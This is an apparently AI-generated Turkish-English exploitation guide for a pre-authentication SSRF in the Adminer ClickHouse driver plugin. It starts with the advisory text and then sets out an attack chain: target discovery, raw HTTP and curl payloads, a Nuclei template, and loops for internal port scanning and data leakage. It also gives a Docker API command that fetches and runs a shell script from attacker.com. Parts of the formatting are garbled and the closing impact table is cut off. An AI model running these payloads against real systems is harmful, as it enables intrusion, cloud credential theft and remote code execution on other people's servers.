CWE-918
Adminer 6.0.0 through 6.0.1, when the official ClickHouse driver plugin (plugins/drivers/clickhouse.php, rewritten in 6.0.0) is loaded, is vulnerable to pre-authentication server-side request forgery. An unauthenticated attacker can submit auth[driver]=clickhouse with auth[server] set to an arbitrary URL (for example http://127.0.0.1:18089), causing the Adminer server to issue an HTTP POST containing 'SELECT version()' to that host. In rootQuery(), if the target returns a status outside 200-299 (other than 401/403), the raw HTTP response body is assigned to the connection error and rendered on the login page, so the attacker receives the full response body of the internal service. This enables internal network/port reconnaissance and disclosure of sensitive information contained in internal error pages (stack traces, internal hostnames, file paths, configuration identifiers). Fixed in Adminer 6.0.2.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑100697 – Adminer 6.0.0‑6.0.1 “ClickHouse driver” plugininde pre‑authentication Server‑Side Request Forgery (SSRF)
- Etkilenen dosya:
plugins/drivers/clickhouse.php(6.0.0’da yeniden yazılmıştır). - Ana akış: 1.
- Neden “pre‑authentication” ? -
- CWE‑918 (Server‑Side Request Forgery): Uygulama, kullanıcı kontrolündeki bir URL’yi doğrulamadan dış servislere istek gönderiyor ve yanıtı güvenli olmayan bir şekilde dışarı sızdırıyor.
- İç ağ IP aralığı:
X-Forwarded-For/Viaheader’ları,Serverheader’ı, ya da daha önceki SSRF denemelerinden alınan yanıtlar. - Açık servisler:
http://127.0.0.1:18089(ClickHouse),http://127.0.0.1:8080/metrics,http://169.254.169.254/latest/meta-data/(AWS metadata) gibi yaygın hedefler. auth[driver]=clickhouse→ ClickHouse driver sınıfını zorlar.auth[server]=http://127.0.0.1:18089→ İç ağdaki ClickHouse HTTP API’ye POST gönderir.- Başarılı yanıt:
{"error":"<html>...ClickHouse version 22.12.3...</html>"}gibi bir HTML/JSON gövdesi login sayfasında gösterilir. interactshüzerinden gelen istek, hedefin SSRF yapıp yapmadığını doğrular.
auth[driver] parametresi clickhouse olarak gönderildiğinde Adminer, ClickHouse driver sınıfını (ClickHouseDriver) yükler.
2. auth[server] parametresi, driver’ın connect() metoduna doğrudan bir URL olarak aktarılır. Bu URL, bir HTTP POST isteği (SELECT version()) oluşturmak için rootQuery() fonksiyonuna geçirilir.
3. rootQuery() içinde, Adminer http_request() (veya file_get_contents()/cURL) ile hedef URL’ye istek gönderir. Yanıtın HTTP status kodu 200‑299 dışındaki (401/403 hariç) durumlarda, yanıt gövdesi $connection->error değişkenine atanır.
4. Bu hata mesajı login sayfasında (auth.php) doğrudan ekrana basılır. Dolayısıyla saldırgan, iç ağdaki herhangi bir HTTP(S) servisine (ör. http://127.0.0.1:18089) POST gönderip yanıtı görür.auth[driver] ve auth[server] parametreleri login formunun ilk adımında (yani kimlik doğrulama yapılmadan) işlenir. Bu yüzden oturum açma yetkisi olmayan bir dış saldırgan bile bu akışı tetikleyebilir.---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Adım | Açıklama | Araç / İpucu | |------|----------|--------------| | a) Internet‑wide scan |adminer.php ya da adminer-*.php gibi tipik URL’leri tarayın. | nmap --script http-enum --script-args http-enum.uri=/adminer.php <br> gau + gf adminer |
| b) Version detection | Yanıt başlıkları, HTML yorumları veya adminer.css dosyasının sürüm numarası (6.0.0/6.0.1) kontrol edilir. | whatweb, wappalyzer |
| c) Plugin enumeration | plugins/drivers/ dizini listelenebilir (eğer dizin listeleme açıksa) ya da adminer.php?plugin=clickhouse gibi parametrelerle deneme yapılabilir. | curl -I https://target/adminer.php?plugin=clickhouse |2️⃣ Reconnaissance – Gerekli bilgi toplama
3️⃣ Exploitation – Gerçek saldırı adımları
#### 3.1 Payload hazırlama
```http
POST /adminer.php HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
auth[driver]=clickhouse&auth[server]=http://127.0.0.1:18089
```
#### 3.2 cURL ile otomatik test
```bash
curl -s -X POST "https://victim.com/adminer.php" \
-d "auth[driver]=clickhouse&auth[server]=http://127.0.0.1:18089" \
-H "Content-Type: application/x-www-form-urlencoded"
```
#### 3.3 Nuclei template (SSRF)
```yaml
id: adminer-clickhouse-ssrf
info:
name: Adminer ClickHouse Driver SSRF
author: yourname
severity: high
tags: ssi,ssrf,adminer
requests:
- method: POST
path:
- "{{BaseURL}}/adminer.php"
body: "auth[driver]=clickhouse&auth[server]=http://{{interactsh-url}}"
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
words:
- "interactsh"
```
#### 3.4 Metasploit (eğer bir modül varsa)
> Şu an için resmi bir Metasploit modülü bulunmamakta, ancak
auxiliary/scanner/http/adminer_clickhouse_ssrf gibi bir custom module yazılabilir. Modül, yukarıdaki POST payload’ını otomatik gönderir ve interactsh yanıtını bekler.4️⃣ Post‑exploitation – Sonraki adımlar
| Aksiyon | Açıklama | Nasıl yapılır | |--------|----------|---------------| | İç ağ haritalaması | Farklıauth[server] URL’leriyle (ör. http://10.0.0.1:8080/, http://10.0.0.2:5000/) yanıtları toplamak. | for ip in $(seq 1 254); do curl -s -X POST ... auth[server]=http://10.0.0.$ip:8080; done |
| Hassas veri sızdırma | İç servislerin hata sayfalarındaki stack trace, config dosyası yolları, veritabanı kimlik bilgileri vb. elde edilir. | curl -s -X POST ... auth[server]=http://10.0.0.5:5000/.env (eğer .env dosyası HTTP üzerinden sunuluyorsa) |
| Yerel port taraması | auth[server]=http://127.0.0.1:1 gibi bir “port‑probe” gönderilip yanıt kodu 200/401/403 dışı ise açık port olduğu anlaşılır. | for p in $(seq 1 65535); do curl -s -o /dev/null -w "%{http_code}\n" -X POST ... auth[server]=http://127.0.0.1:$p; done |
| RCE zinciri | Eğer iç ağdaki bir servis (ör. bir Docker API, Kubernetes API, ElasticSearch) SSRF üzerinden erişilebilirse, komut çalıştırma (ör. POST /_search ile script injection) gerçekleştirilebilir. | curl -X POST http://127.0.0.1:2375/containers/create -d '{"Image":"alpine","Cmd":["/bin/sh","-c","wget http://attacker.com/payload.sh -O- | sh"]}' |
| Credential stuffing | Çıkarılan hata mesajlarından veritabanı kullanıcı adı/şifresi elde edilirse, doğrudan ClickHouse’a bağlanılabilir. | clickhouse-client --host 127.0.0.1 --port 8123 --user admin --password 'extracted' |---
🌍 Gerçek Dünya Etkisi / Real World Impact
| Etki Katmanı | Açıklama |
|--------------
[🤖 GPT-OSS 120B via Groq]